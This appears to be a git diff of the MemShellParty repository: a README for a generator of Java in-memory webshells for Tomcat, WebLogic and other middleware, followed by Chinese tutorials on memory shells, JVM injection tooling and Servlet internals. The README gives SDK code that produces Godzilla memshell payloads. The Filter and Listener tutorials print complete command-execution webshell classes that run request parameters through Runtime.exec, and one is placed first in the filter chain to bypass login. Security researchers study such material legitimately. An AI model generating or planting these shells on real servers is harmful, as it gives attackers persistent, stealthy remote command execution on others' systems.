## Key Features
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- Minimal Size: Strives to minimize memshell size for efficient transfer.
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
## Quick Start
### Online Preview
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
### Local Deployment (Recommended)
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
After deploying with Docker, access the service at http://127.0.0.1:8080
```bash
# Pull the latest image from Docker Hub
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
# Pull the latest image from Github Container Registry
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
# If network quality is poor, use the Nanjing University Github Container Registry mirror
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
```
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
```bash
# Remove the previously deployed container
docker rm -f memshell-party
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK Integration into Existing Tools
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
1. Add the dependency using Maven or Gradle:
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: "+result.getInjectorClassName());
System.out.println("MemShell Class Name: "+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
```
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: " + result.getInjectorClassName());
System.out.println("MemShell Class Name: " + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## Compatibility
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
### Middleware and Frameworks
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 | Primeton6.5 |
|----------------------|----------------------|------------------------|---------------|----------------------|
| Filter | Filter | Filter | Servlet | Filter |
| Listener | Listener | Listener | Filter | Listener |
| Valve | Valve | Valve | Listener | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
### MemShell Functionality
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder](https://github.com/rebeyond/Behinder)
- [x] Command Execution
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### Packaging Methods
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] Built-in ScriptEngine, Rhino ScriptEngine
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] Native DeserializationCB and CC
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
- [ ] JNDI
- [ ] JDBC Connection
- [ ] Other common deserialization
## Local Build
### Building from Source Code
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
1. Clone the project using Git:
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
```bash
cd MemShellParty/web
bun install
bun run build
```
3. Build the backend project. Ensure you are using a JDK 17 environment.
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
Alternatively, you can build a Docker container from the built artifacts:
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Building with Dockerfile Directly
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
Download the [Dockerfile](../Dockerfile) from the project root.
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
```bash
# Basic build (defaults to root path "/")
docker buildx build \
--build-arg VERSION=1.7.0 \
-t memshell-party:latest . --load
# Run the basic image, access at http://127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# Build with custom access path (e.g., /memshell-party)
docker buildx build \
--build-arg VERSION=1.7.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
Ensure that the `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party` and
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
> Any feedback or issue discussion you provide is a contribution to this project.
> It will be so nice if you want to contribute. 🎉
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
2. If you are skilled in writing memory shells, try adding support for a new type or target.
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
## Thanks
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
### Let's start the party 🎉
+178
View File
@@ -0,0 +1,178 @@
# 学习 Java 内存马推荐工具
> 工欲善其事必先利其器
## Arthas
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
JDK8 以上的下载链接,https://arthas.aliyun.com/doc/download.html
JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html
### 启动 Arthas
直接输入 `java -jar arthas-boot.jar` 启动,回车之后会弹出选项,输入数字选择需要调试的 Java 进程。
```bash
java -jar arthas-boot.jar
[INFO] JAVA_HOME: /Users/reajason/.sdkman/candidates/java/21.0.5-oracle
[INFO] arthas-boot version: 4.0.5
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 83922 /Users/reajason/.vscode/extensions/sonarsource.sonarlint-vscode-4.19.0-darwin-arm64/server/sonarlint-ls.jar
[2]: 86557 com.intellij.idea.Main
```
有时候可能没有 jps 命令或者不是 HotSpot JVM 会找不到 Java 进程,此时你需要通过 `ps` 找到你需要调试的 Java 进程 PID,并使用 `java -jar arthas-boot.jar <pid>` 启动。
```bash
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar
[INFO] JAVA_HOME: /opt/java/openjdk
[INFO] arthas-boot version: 4.0.5
[INFO] Can not find java process. Try to run `jps` command lists the instrumented Java HotSpot VMs on the target system.
Please select an available pid.
```
arthas-boot 依赖 JDK 环境需要 tools.jar 才能启动,在 JRE 环境会歇菜。
```bash
root@df393b860ae3:/opt/arthas# ps -ef | grep java
root 1 0 3 14:19 ? 00:00:01 /opt/java/openjdk/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start
root 87 50 0 14:20 pts/0 00:00:00 grep --color=auto java
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
[INFO] JAVA_HOME: /opt/java/openjdk
[INFO] arthas-boot version: 4.0.5
[INFO] arthas home: /opt/arthas
[INFO] Try to attach process 1
Exception in thread "main" java.lang.IllegalArgumentException: Can not find tools.jar under java home: /opt/java/openjdk, please try to start arthas-boot with full path java. Such as /opt/jdk/bin/java -jar arthas-boot.jar
at com.taobao.arthas.boot.ProcessUtils.findJavaHome(ProcessUtils.java:222)
at com.taobao.arthas.boot.ProcessUtils.startArthasCore(ProcessUtils.java:233)
at com.taobao.arthas.boot.Bootstrap.main(Bootstrap.java:590)
```
前面说了 Arthas 本质就是 Java Agent,因此使用 [jattach](https://github.com/jattach/jattach/releases/latest) 工具将其注入,再尝试连接即可。
TIP1: **注入的是 `/opt/arthas/arthas-agent.jar`**
TIP2: **启动仍然用的 `arthas-boot.jar`**
```bash
root@df393b860ae3:/opt/arthas# ./jattach-linux 1 load instrument false /opt/arthas/arthas-agent.jar
Connected to remote JVM
JVM response code = 0
0
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
[INFO] JAVA_HOME: /opt/java/openjdk
[INFO] arthas-boot version: 4.0.5
[INFO] arthas home: /opt/arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658
,---. ,------. ,--------.,--. ,--. ,---. ,---.
/ O \ | .--. ''--. .--'| '--' | / O \ ' .-'
| .-. || '--'.' | | | .--. || .-. |`. `-.
| | | || |\ \ | | | | | || | | |.-' |
`--' `--'`--' '--' `--' `--' `--'`--' `--'`-----'
wiki https://arthas.aliyun.com/doc
tutorials https://arthas.aliyun.com/doc/arthas-tutorials.html
version 4.0.5
main_class org.apache.catalina.startup.Bootstrap start
pid 1
start_time 2025-04-09 14:19:48.004
currnt_time 2025-04-09 14:23:16.044
[arthas@1]$
```
当看到大片上述输出,且命令提示符变成 `[arthas@1]$` 你就成功进入 Arthas 了,接下来让我们看看有哪些好用的命令吧。
### jad
> [官方文档/jad.html](https://arthas.aliyun.com/doc/jad.html)
jad 命令是用来查看反编译后的类源码。除了源码信息,还能查看是哪一个 classloader 加载的当前类,以及 classloader 的继承关系,还能看到当前类存在在哪个 jar 文件中(如果有的话),拖到 IDEA 里面就能进行调试啦。
- `jad org.apache.lESNa.EncryptionUtil`,查看类源码完整信息。
- `jad org.apache.catalina.core.ApplicationFilterChain doFilter`,仅查看 doFilter 方法的源码。
![arthas_jad1](./images/arthas_jad1.png)
![arthas_jad2](./images/arthas_jad2.png)
如果回车之后显示找不到类的话,可能拼写错误,或类还没有被加载到 JVM 中,可以先尝试访问类依赖的业务路径,触发类加载之后再进行 jad。
### classloader
> [官方文档/classloader.html](https://arthas.aliyun.com/doc/classloader.html)
classloader 用来查看类加载器信息。
- `classloader` 查看当前有哪些类加载器,以及其类加载情况
- `classloader -t` 查看类加载器继承关系
- `classloader -c <hash>` 指定类加载实例 hash 查看其 urls
![arhtas_classloader](./images/arthas_classloader.png)
此处的分析将会在 Java 基础中提及,有些 ClassNotFoundException 或 ClassCastException 可以通过此种方式找到问题所在。
### sc
> [官方文档/sc.html](https://arthas.aliyun.com/doc/sc.html)
sc 即 search-class,用来查找 JVM 中的类信息。常用的一种方式是查看 interface 的所有实现类。
- `sc javax.servlet.Servlet`,查看 Servlet 实现类有哪些
- `sc javax.servlet.ServletContext`,查看 ServletContext 实现类有哪些
- `sc -d org.apache.catalina.core.ApplicationContext`,查看类的详细信息,这样我们能定位到 jar 拖出来进行反编译分析。
![arthas_sc](./images/arthas_sc.png)
### stop
执行 stop 退出当前 Arthas 命令行环境,回到 Unix shell。
```
[arthas@1]$ stop
Resetting all enhanced classes ...
Affect(class count: 0 , method count: 0) cost in 2 ms, listenerId: 0
Arthas Server is going to shutdown...
[arthas@1]$ session (c5ee97b5-6809-48ab-bdfc-09d900087ec9) is closed because server is going to shutdown.
```
## Jadx
> [skylot/jadx](https://github.com/skylot/jadx)
目前 Java 最强反编译器,人手一个,几乎可以反编译任何 jar 包,部分究极混淆的类,即使无法反编译成功,也可查看字节码。
打开之后,可以直接将 class 或 jar 拖入到左边框中就会自动进行反编译,点击 Source Code 里面就能看到反编译的结果,最下面可以选 Code、Smali 等等,一般 Code 里面反编译失败才需要切换,其他功能可查看 [记录 Rainbow Brackets 插件破解](https://reajason.eu.org/writing/rainbowbracketscracked/) 了解一下常用的操作。
![jadx_interface](./images/jadx_interface.png)
## File Expander — IDEA 插件
IDEA 自带反编译功能,并且使用习惯之后也是相当好用。但是有一个问题,如果 jar 包中套 jar 包,那么里面的 jar 包并不会默认展开,自然想到的办法就是解压 一次 jar,把里面的东西弄出来,但是有了 File Expander 插件之后,无论是 zip 还是 jar in jar,都轻松查看了。
![idea_plugins](./images/idea_plugins.png)
下图演示了 java-chains-1.4.0.jar,直接可以 expand 到 chains-core,开学!!!,这种情况下不比 jadx 要好用。
![idea_javachains](./images/idea_javachains.png)
## Find 命令
在批量查找当前目录下某个类存在于那个 jar 文件中,需要使用到 find 命令协助,由于需要用到 jar 命令,因此依赖 JDK 环境。JRE 环境下,可以将文件打包发送到 JDK 环境再继续研究。
在 tomcat 目录下,找到 ApplicationContext 在哪个 jar 文件中。
```bash
░▒▓ ~/workspace/apache-tomcat-8.5.96
find . -name "*.jar" -type f -exec sh -c 'jar tvf "{}" | grep -q "org/apache/catalina/core/ApplicationContext" && echo "Found in: {}"' \;
Found in: ./lib/catalina.jar
```
部分环境下,例如 WAS 可能并没有设置 Java Home,此时 jar 命令使用绝对路径即可。
```bash
[was@59385194e5aa AppServer]$ find . -name "*.jar" -type f -exec sh -c '/opt/IBM/WebSphere/AppServer/java/bin/jar tvf "{}" | grep -q "com/ibm/ws/webcontainer/webapp/WebApp" && echo "Found in: {}"' \;
Found in: ./plugins/com.ibm.ws.webcontainer.jar
```
+41
View File
@@ -0,0 +1,41 @@
# Java 内存马简介
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
## 什么是 webshell
> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell)
webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。
常见的 webshell 功能包括:
1. 命令回显,反弹 unix shell
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
## 演变历程
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
## 常见 Java 内存马
在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。
冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 ListenerTomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、InterceptorSpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
## 延伸阅读
- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq)
- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451)
- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html)
Binary file not shown.

After

Width:  |  Height:  |  Size: 174 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 282 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 232 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 KiB

+101
View File
@@ -0,0 +1,101 @@
# Java Servlet Filter
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。
## Filter 配置
Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价
```xml
<filter-mapping>
<filter-name>Multipe Mappings Filter</filter-name>
<url-pattern>/foo/*</url-pattern>
<servlet-name>Servlet1</servlet-name>
<servlet-name>Servlet2</servlet-name>
<url-pattern>/bar/*</url-pattern>
</filter-mapping>
```
```java
@WebFilter(
filterName = "Multipe Mappings Filter",
urlPatterns = {"/foo/*", "/bar/*"},
servletNames = {"Servlet1", "Servlet2"}
)
public class MultipeMappingsFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// TODO
}
}
```
## doFilter
Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。
Filter 的接口签名如下,其中最重要的就是 doFilter 方法。
1. Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。
2. 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。
3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`,将会访问 chain 中下一个过滤器。
4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。
```java
public interface Filter {
/**
* 由 Web 容器在初始化 Filter 时调用。
*/
public void init(FilterConfig filterConfig) throws ServletException;
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException;
/**
* 由 Web 容器在卸载 Filter 时调用。
*/
public void destroy();
}
```
## FilterShell
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。
1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。
```java
public class CommandFilter implements Filter {
public static String paramName;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return;
}
chain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
```
+79
View File
@@ -0,0 +1,79 @@
# Event Listeners
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
| Listener 接口类 | 描述 |
|--------------------------------------------------|---------------------------------|
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 |
| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 |
| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 |
| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 |
| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 |
| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 |
| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 |
## ServletRequestListener
在编写 shell 时我们需要关注的主要就是 ServletRequestListener,在请求处理之前可以在拿到请求信息并处理(在 Filter 以及 Servlet 之前),由于它作为事件监听器的一员,并没有直接结束请求的机制,因此在对响应体重写等操作结束之后,最后还是会走到 Filter 和 Servlet 的逻辑。
```java
public interface ServletRequestListener extends EventListener {
public void requestDestroyed(ServletRequestEvent sre);
/**
* Receives notification that a ServletRequest is about to come
* into scope of the web application.
*
* @param sre the ServletRequestEvent containing the ServletRequest
* and the ServletContext representing the web application
*/
public void requestInitialized(ServletRequestEvent sre);
}
```
以下时使用 ServletRequestListenerShell 命令回显的代码实现。
1. 由于此处只能拿到 ServletRequestEvent,其中只有 ServletRequest,但是一般中间件实现中,ServletRequest 中都会有能获取到 ServletResponse 的方法,因此额外新增了一个 getResponseFromRequest 方法。
```java
public class CommandListener implements ServletRequestListener {
public static String paramName;
public CommandListener() {
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return null;
}
}
```
+98
View File
@@ -0,0 +1,98 @@
# Java Servlet
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
